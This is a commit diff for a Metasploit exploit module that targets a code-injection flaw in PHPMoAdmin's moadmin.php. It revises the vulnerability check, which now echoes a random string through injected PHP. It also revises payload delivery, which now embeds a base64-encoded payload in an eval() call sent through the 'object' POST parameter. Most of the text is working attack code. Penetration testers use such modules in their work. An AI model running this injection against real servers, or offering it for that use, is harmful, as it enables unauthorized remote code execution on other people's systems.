Update phpmoadmin_exec.rb

Changes:
"Check if vulnerable" code improvement;
Payload delivery code improvement;
Minor indent issues.

Thanks for your feedback guys :)

modules/exploits/multi/http/phpmoadmin_exec.rb

@@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'Privileged'     => false,
       'Platform'       => 'php',
-      'Arch' => ARCH_PHP,
+      'Arch'           => ARCH_PHP,
       'Targets'        =>
         [
           [ 'PHPMoAdmin', { }  ],
@@ -44,16 +44,17 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
+    testrun = Rex::Text::rand_text_alpha(10)
     res = send_request_cgi({
-      'uri'       => normalize_uri(target_uri.to_s,'moadmin.php'),
+      'uri'       => normalize_uri(target_uri,'moadmin.php'),
       'method'    => 'POST',
       'vars_post' =>
       {
-        'object'	=> '1;phpinfo();exit',
+        'object'	=> "1;echo '#{testrun}';exit",
       }
     })
 
-    if res and res.body.match(/Build Date/)
+    if res and res.body.include?(testrun)
       return Exploit::CheckCode::Vulnerable
     end
 
@@ -65,14 +66,11 @@ class Metasploit3 < Msf::Exploit::Remote
     print_status("Executing payload...")
 
     res = send_request_cgi({
-      'uri'       => normalize_uri(target_uri.to_s,'moadmin.php'),
+      'uri'       => normalize_uri(target_uri,'moadmin.php'),
       'method'    => 'POST',
       'vars_post' =>
       {
-        'object'  => "1;eval(base64_decode($_SERVER[HTTP_CMD]));exit"
-      },
-      'headers' => {
-        'Cmd' => Rex::Text.encode_base64(payload.encoded)
+        'object'  => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
       }
     })